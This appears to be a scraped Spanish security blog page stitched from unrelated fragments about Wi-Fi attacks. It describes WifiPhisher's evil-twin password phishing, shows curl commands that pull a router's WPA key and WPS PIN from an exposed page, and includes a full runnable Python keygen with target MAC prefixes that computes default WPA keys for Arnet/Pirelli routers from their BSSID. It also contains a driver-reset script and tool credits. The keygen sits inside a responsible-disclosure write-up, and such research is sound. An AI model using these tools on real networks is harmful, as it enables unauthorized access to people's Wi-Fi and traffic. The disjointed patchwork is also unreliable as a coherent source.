Contenido no disponible.
Por favor, acepta las cookies haciendo clic en el aviso
Por favor, acepta las cookies haciendo clic en el aviso
Auditoria wireless en linux
Una nueva herramienta lanzada por un grupo griego de seguridad ha hecho que hackear wifi, la conexión inalámbrica entre dispositivos que acceden a internet, sea ahora mucho, mucho más sencillo y peligroso. Lo que hace a WifiPhisher más peligroso es que evitar típicos métodos de ataque, y en lugar de ello, hace uso de engaños para obtener rápidamente una contraseña.
Cómo funciona WifiPhisher y por qué es tan peligroso?
El método común para hackear wifi toma bastante tiempo porque esencialmente se están probando cientos de miles de combinaciones de contraseñas contra un router para así obtener acceso. Esto se conoce como “brute force” o ataques de fuerza bruta. Son exitosos, pero toman tiempo.
El nuevo método implementado por Wifiphisher actúa de una manera totalmente diferente. Lo que la aplicación hace, es básicamente clonar y replicar a un punto de acceso familiar de la víctima, mientras que simultáneamente se bloquea el acceso al router original. Con Wifiphisher, estamos haciéndole creer a la persona que está teniendo problemas de autentificación, al obligar a todos los clientes conectados al punto de acceso original a desconectarse. Al hacerse pasar por el router original (enviando incluso una página falsa preguntando por la contraseña), los incautos usuarios simplemente ingresan la contraseña falsa al router, proporcionándosela voluntariamente a esta réplica maligna.
Y una vez que se obtiene la contraseña original, este “gemelo diabólico” puede seguir operando como intermediario de conexión (entre el punto de acceso original y los clientes), interceptando todo el tráfico que transita por ahí. Sí, esto podría llevarnos a robo de contraseñas, información y muchísimo más.
El ataque es una inteligente mezcla de ingeniería social (el método más común de hacking), con una sencilla pero funcional aplicación
Fuente 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_"
<option value='0'>WLAN_DEAD</option>
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey"
var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD';
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin"
var WscDevPin = '12820078';
Today I am gonna explain how I reverse engineered a MIPS library in order to recover the default WPA key generation algorithm for some Argentinian routers deployed by Pirelli. Concretely the router affected is the model P.DG-A4001N. First of all, I am neither Argentinian nor live there. Nevertheless, accidentally I observed some stickers from Pirelli routers in a random forum and as an user had already publicly published the firmware for those routers then I decided to give a try. As I still remembered the file where I dug into for the Spanish routers, I rapidly tried to recover the algorithm in these routers. Next writing is the way I followed until to achieve it.





def genkey(mac):
seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
'\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
lookup = '0123456789abcdefghijklmnopqrstuvwxyz'
sha256 = hashlib.sha256()
sha256.update(seed)
sha256.update('1236790')
sha256.update(mac)
digest = bytearray(sha256.digest())
return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])
$ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git $ python wifiarnet.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@license: GPLv3
@author : Eduardo Novella
@contact: ednolo[a]inf.upv.es
@twitter: @enovella_
-----------------
[*] Target :
-----------------
Vendor : ADB broadband Pirelli
Router : Model P.DG-A4001N
ISP : Arnet Telecom Argentina
Possible-targets : http://hwaddress.com/?q=ADB%20Broadband%20Italia
Firmware : http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/
-----------------
[*] References :
-----------------
[0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/
[1] [ITALY] Alice AGPF: The algorithm! http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/
-----------------
[*] Test vectors :
-----------------
http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551
-----------------------
[*] Acknowledgements :
-----------------------
Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors.
-----------------
[*] Timeline :
-----------------
2014-09-11 Found the algorithm
2014-09-12 Send a message to @ArnetOnline via Twitter @enovella_
2014-09-15 Send a message via website, still looking for a simple mail (http://www.telecom.com.ar/hogares/contacto_tecnico.html)
2014-09-16 Send another message to Arnet via website. First reply via twitter where they redirect me to the website form.
2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key
2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though.
2014-09-23 I assume that Arnet does not care about its clients' security at all regarding its little interest.
2014-09-24 I send the problem to the vendor ADB Pirelli via website form
2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland
2015-01-05 Full disclosure
-----------------
[*] TODO :
-----------------
1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though.
2.- Extract more firmwares from others vendors and send them to me.
'''
import re
import sys
import hashlib
import argparse
VERSION = 1
SUBVERSION = 0
DATEVERSION = '2014-09-11'
URL = 'http://www.ednolo.alumnos.upv.es'
def genkey(mac,stdout='True'):
seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
'\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
lookup = '0123456789abcdefghijklmnopqrstuvwxyz'
sha256 = hashlib.sha256()
sha256.update(seed)
sha256.update('1236790')
sha256.update(mac)
digest = bytearray(sha256.digest())
if (stdout):
print "[+] SHA256 : %s" % sha256.hexdigest()
return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])
def printTargets():
print "[+] Possible vulnerable targets so far:"
for t in targets:
print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper()))
sys.exit()
def checkTargets(bssid):
supported = False
for t in targets:
if ( bssid.upper().startswith(t) ):
supported = True
break
if (not supported):
print "[!] Your bssid looks like not supported! Generating anyway."
def main():
global targets
version = " {0:d}.{1:d} [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL)
targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54',
'30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F']
parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far
only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are
likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.
Twitter: @enovella_ and email: ednolo[at]inf.upv.es''',
epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0])
)
maingroup = parser.add_argument_group(title='required')
maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address')
parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version)
command_group = parser.add_mutually_exclusive_group()
command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true')
args = parser.parse_args()
if args.list:
printTargets()
elif args.bssid:
mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid)
if len(mac_str) != 12:
sys.exit('[!] Check MAC format!\n')
try:
mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1))
except:
sys.exit('[!] Use real input :)')
checkTargets(args.bssid)
print '[+] SSID : Wifi-Arnet-XXXX'
print '[+] MAC : %s' % args.bssid
print '[+] WPA key : %s' % (genkey(mac,False))
else:
parser.print_help()
if __name__ == "__main__":
main()
00:30
Code:#!/bin/bash# Script: reset_iface # Por geminis_demon para Wifislax-# SeguridadWireless.Netif [ $(id -u) != 0 ]; then echo “ERROR: Este script debe ejecutarse con permisos de ROOT” exit 1 fi if [ -z “$1” -o “$1” = “-h” ]; then echo echo “Este script desmonta y vuelve a montar el driver de una interface” echo “de red” echo echo “USO:” echo ” $0 interface” echo echo “OPCIONES:” echo ” -h Muestra esta ayuda.” echo if [ -z “$1” ]; then exit 1 else exit 0 fi fiIFACE=”$1″ if [ ! “$(ip link|grep ” $IFACE: “)” ]; then echo echo ” – ERROR: No existe la interface \”$IFACE\”” echo exit 1 fi DRIVER=”$(basename “$(ls -l “/sys/class/net/$IFACE/device/driver”)”)” if [ ! “$DRIVER” ]; then echo echo ” – ERROR: No ha sido posible encontrar el driver de $IFACE” echo exit 1 fi echo echo ” – La interface $IFACE utiliza el driver $DRIVER” rmmod -f “$DRIVER” && modprobe “$DRIVER” if [ $? = 0 ]; then echo ” – El driver $DRIVER ha sido reiniciado” echo fi |


).
GOYfilms: Por su magnífico GOYscript, inspiración y motivo por el que existe wps-qi.
Geminis_demon: Por ser un gran betatester y maestro, y por su genial bullyWPSdialog.
sephir0t00: Por su gran aportación portando el módulo de python netifaces a openwrt.
jar229: Por su buen saber en openwrt y por los buenos firmwares que salen de su horno.
En fin, en los próximos días iré publicando pantallazos, y calculo que este fin de semana libere la primera alpha de lo que hoy día es funcional.
Stay Tuned…
Se ha probado el kernel 3.6.8 sin parche fix-channel-negative-one , y efectivamente airodump , etc ..funcionan sin problemas y sin quejarse de fixed channel -1…asi que uno menos del que preocuparse. Si deseas continuar utilizando este sitio debes aceptas el uso de cookies. Política de Cookies
Los ajustes de cookies de esta web están configurados para "permitir cookies" y así ofrecerte la mejor experiencia de navegación posible. Si sigues utilizando esta web sin cambiar tus ajustes de cookies o haces clic en "Aceptar" estarás dando tu consentimiento a esto.